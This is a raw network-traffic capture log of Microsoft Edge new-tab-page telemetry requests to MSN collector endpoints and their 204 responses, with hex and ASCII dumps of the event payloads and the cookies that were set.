2025-01-08 15:19:04 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=ed6c47dad63349f5a45225678ab26fe9&HASH=ed6c&LV=202501&V=4&LU=1736349544586; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:19:04 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=63b109abc8a446228902ddb2c43b1b6d; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:49:04 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1648 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:19:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.11.20	52615	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:07 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349545966&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 8797 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:07 UTC	8797	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 39 3a 30 35 2e 39 36 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 30 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:19:05.965Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":10,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"lo
2025-01-08 15:19:07 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=1947a2b9ccf146b2bf2e8cf3a776b9dd&HASH=1947&LV=202501&V=4&LU=1736349547663; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:19:07 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=0ed6fb8d7be9498cbcb9ec4387069911; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:49:07 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1697 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:19:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.11.20	49521	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:07 UTC	1001	OUT	GET /notify/viewed?rid=b25d3f03ced44bf6925dc8ded78e8089&r=resinfopane&i=6&p=edgechrntp&l=en-us&d=bing&b=Edg&a=7b2aa874-59d1-47f3-8133-fd56b2e463d7&ii=1&c=1749522421001906498&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-resinfopane-6&ptid=edgechrntp-resinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1 Host: srtb.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:08 UTC	581	IN	HTTP/1.1 204 No Content Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 1B1F9EDE97A247849F012BCBBB2D6A15 Ref B: CHI30EDGE0119 Ref C: 2025-01-08T15:19:08Z Date: Wed, 08 Jan 2025 15:19:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.11.20	53912	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:10 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349548955&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 8987 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:10 UTC	8987	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 39 3a 30 38 2e 39 35 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:19:08.954Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":11,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"lo
2025-01-08 15:19:10 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=4264adf1ffbb403fb9f6db4988bcd747&HASH=4264&LV=202501&V=4&LU=1736349550636; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:19:10 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=84775ad1e04c4a20a438e61596a8411c; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:49:10 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1681 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:19:10 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.11.20	54738	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:11 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349549473&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 8683 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:11 UTC	8683	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 39 3a 30 39 2e 34 37 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:19:09.472Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":12,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"lo
2025-01-08 15:19:11 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7d6c986271e748acbb019a3ac82c1c0c&HASH=7d6c&LV=202501&V=4&LU=1736349551128; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:19:11 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=aaaa2fcd266941a7a8552b58f684bfc8; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:49:11 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1655 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:19:10 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.11.20	53594	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:13 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349551952&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9227 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:13 UTC	9227	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 39 3a 31 31 2e 39 35 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:19:11.951Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":13,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"lo
2025-01-08 15:19:13 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=dd3a583fc20f4b659ed5f25941663da5&HASH=dd3a&LV=202501&V=4&LU=1736349553605; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:19:13 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=30c6142da3f24e66ab8e2af2815dc99d; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:49:13 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1653 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:19:13 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.11.20	58651	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:16 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349554950&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9241 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:16 UTC	9241	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 39 3a 31 34 2e 39 34 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:19:14.949Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":14,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"lo
2025-01-08 15:19:16 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a85750187a744ecda9f19b74675dbc3e&HASH=a857&LV=202501&V=4&LU=1736349556671; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:19:16 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=839beb09e862411dbb1df403f3ce1e8b; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:49:16 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1721 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:19:16 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.11.20	64251	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:19 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349557954&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9259 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:19 UTC	9259	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 39 3a 31 37 2e 39 35 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-08T15:19:17.953Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":15,"installId":"68430e21-62d7-4fb6-ab0c-7db1512dd703","epoch":"2682017497"},"app":{"lo
2025-01-08 15:19:20 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=291709df5589444eac860a1a3a66a5f3&HASH=2917&LV=202501&V=4&LU=1736349559751; Domain=.microsoft.com; Expires=Thu, 08 Jan 2026 15:19:19 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d00ae2249dea4fa0b05e10dfc6236719; Domain=.microsoft.com; Expires=Wed, 08 Jan 2025 15:49:19 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1797 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 08 Jan 2025 15:19:19 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.11.20	63181	20.189.173.24	443

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:19:22 UTC	1022	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349560934&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 8965 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
2025-01-08 15:19:22 UTC	8965	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 30 38 54 31 35 3a 31 39 3a 32 30 2e 39 33 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 36 38 34 33 30 65 32 31 2d 36 32 64 37 2d 34 66 62 36 2d 61 62 30 63 2d 37 64 62 31 35 31 32 64 64 37 30 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 38 32 30 31 37 34 39 37 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f Data Ascii: 